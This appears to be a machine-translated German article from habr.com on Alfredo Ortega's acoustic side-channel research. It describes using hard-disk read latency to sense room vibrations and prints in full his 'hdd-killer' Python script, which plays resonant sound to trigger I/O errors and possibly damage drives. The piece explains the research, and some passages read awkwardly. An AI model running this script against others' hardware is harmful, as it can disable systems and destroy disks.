Warum Sie Ihre Festplatte nicht anschreien sollten

Warum Sie Ihre Festplatte nicht anschreien sollten

Auf der Computersicherheitskonferenz Ekoparty 2017 in Buenos Aires zeigte der argentinische Hacker Alfredo Ortega eine sehr interessante Entwicklung – ein System zum verdeckten Abhören von Räumlichkeiten ohne Verwendung eines Mikrofons. Klang direkt auf die Festplatte aufgezeichnet!

Die Festplatte nimmt hauptsächlich hochintensive, niederfrequente Geräusche, Schritte und andere Vibrationen auf. Die menschliche Sprache kann von Wissenschaftlern noch nicht erkannt werden forschen in diese Richtung (Spracherkennung durch niederfrequente Vibrationen, die beispielsweise von einem Gyroskop oder einer Festplatte aufgezeichnet werden).

Schall ist die Schwingung von Luft oder einem anderen Medium. Der Mensch nimmt sie über das Trommelfell wahr, das Schwingungen an das Innenohr überträgt. Das Mikrofon ist in etwa wie ein Ohr aufgebaut – auch hier werden Schwingungen von einer dünnen Membran aufgenommen, die einen elektrischen Impuls anregt. Natürlich unterliegt die Festplatte auch mikroskopischen Vibrationen aufgrund von Schwankungen in der Umgebungsluft. Dies ist bereits aus den technischen Eigenschaften von Festplatten bekannt: Hersteller geben in der Regel den maximal zulässigen Vibrationsgrad an, und die Festplatte selbst versucht häufig, sie in einem vibrationsfesten Behälter aus Gummi oder einem anderen Isoliermaterial unterzubringen. Daraus lässt sich leicht schließen, dass Töne mit der Festplatte aufgezeichnet werden können. Es bleibt nur noch herauszufinden, wie.

Alfredo Ortega schlug eine einzigartige Version eines Seitenkanalangriffs vor, nämlich einen Zeitangriff. Dieser Angriff basiert auf der Annahme, dass abhängig von den eingegebenen Daten zu unterschiedlichen Zeiten unterschiedliche Vorgänge auf dem Gerät ausgeführt werden. In diesem Fall handelt es sich bei den „Eingabedaten“ um die Vibrationen des Lesekopfs und des Festplattentellers, die mit den Vibrationen der Umgebung, also mit Schall, korrelieren. Durch Messung der Rechenzeit und Durchführung einer statistischen Analyse der Daten können somit die Schwingungen des Kopfes/Plattentellers und damit die Schwingungen des Mediums gemessen werden. Je länger die Verzögerung beim Lesen der Daten ist, desto stärker sind die Vibrationen der Festplatte und desto lauter ist der Ton.

Wie misst man Festplattenvibrationen? Ganz einfach: Führen Sie einfach den Systemaufruf aus read () – und notieren Sie die Zeit, die für die Fertigstellung benötigt wird. Moderne Betriebssysteme ermöglichen es Ihnen, den Zeitpunkt von Systemaufrufen mit einer Genauigkeit von Nanosekunden abzulesen.

Die Geschwindigkeit, mit der Informationen aus einem Sektor gelesen werden, hängt von der Position des Kopfs und der Platte ab, die mit den Vibrationen des Festplattengehäuses korreliert. Das ist alles.

Die statistische Analyse wird mit einem einfachen Kscope-Dienstprogramm durchgeführt. Wie sie sagen: Alles Geniale ist einfach.

Warum Sie Ihre Festplatte nicht anschreien sollten
Kscope-Dienstprogramm (stat() syscall)

Kscope ist ein kleines Dienstprogramm zur Visualisierung winziger Unterschiede in den Ausführungszeiten von Systemaufrufen. Quelleauf GitHub veröffentlicht.

In einem separaten Repository HDD-Zeit Es gibt eine Version des Dienstprogramms, die für einen Zeitangriff auf die Festplatte konfiguriert ist, also für die Analyse des Systemaufrufs konfiguriert ist read ().

Demonstration der Tonaufnahme mit Festplatte, Bedienung des Kscope-Dienstprogramms


Sprache kann auf diese Weise natürlich nicht verstanden werden, aber als Vibrationssensor ist die Festplatte durchaus geeignet. Sie können beispielsweise registrieren, wenn eine Person mit harten Schuhen oder barfuß einen Raum mit einem Computer betritt (wahrscheinlich kann die Festplatte keine Vibrationen registrieren, wenn der Angreifer weiche Turnschuhe trägt oder ein dicker Teppich auf dem Boden liegt). das ist einen Blick wert). Der Computer ist in der Lage, Glassplitter oder andere Vorkommnisse mit starker Schallintensität zu registrieren. Das heißt, die Festplatte kann als eine Art System zur Erkennung unbefugter Eindringlinge dienen.

HDD-Killer

Mit einer ähnlichen Technik lassen sich übrigens auch Festplatten deaktivieren. Nur entfernen wir hier keine Schwingungen von der Festplatte, sondern erzeugen im Gegenteil Schwingungen, die der Festplatte zugeführt werden. Wenn Sie Ton über einen Lautsprecher mit einer Frequenz wiedergeben, die mit der Festplattenfrequenz übereinstimmt, schaltet das System das Gerät bald mit einem E/A-Fehler aus (der Linux-Kernel schaltet die Festplatte nach 120 Sekunden vollständig aus). Die Festplatte selbst kann irreversiblen Schaden erleiden.

Warum Sie Ihre Festplatte nicht anschreien sollten
Der Linux-Kernel schaltete die Festplatte ab, nachdem 120 Sekunden lang Ton mit einer Resonanzfrequenz über den Lautsprecher des Edifier r19u USB-Lautsprechers ausgegeben wurde. Der Lautsprecher ist mit etwa einem Viertel der Leistung (weniger als 100 mW) eingeschaltet und befindet sich 20 cm von der Festplatte entfernt und ist auf den Tisch gerichtet, um die Vibrationen zu verstärken. Rahmen von Video mit einer Demonstration des HDD-Killers

Es ist merkwürdig, dass solche „Angriffe“ auf Festplatten im Alltag manchmal völlig zufällig passieren. Beispielsweise musste das Rechenzentrum der ING Bank im September 2016 nach einer Brandschutzübung den Betrieb für zehn Stunden einstellen. Dutzende Festplatten sind ausgefallen aufgrund des lauten Geräusches von Inertgas, das unter hohem Druck aus Zylindern freigesetzt wird. Der Ton war sehr laut (mehr als 130 dB), aber man kann die Festplatten nicht einmal anschreien – das erhöht die Verzögerung beim Zugriff auf die Festplatte.

Demonstration menschlicher Schreie auf Festplatten in einem Rechenzentrum. Latenzmessung


Um den Resonanzklang zu erzeugen, hat Alfredo Ortega ein Python-Skript namens geschrieben Festplattenkiller (Videodemonstration).

HDD-Killer-Skript Da es recht klein ist, können Sie es hier vollständig veröffentlichen.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Source: habr.com

Kommentar hinzufügen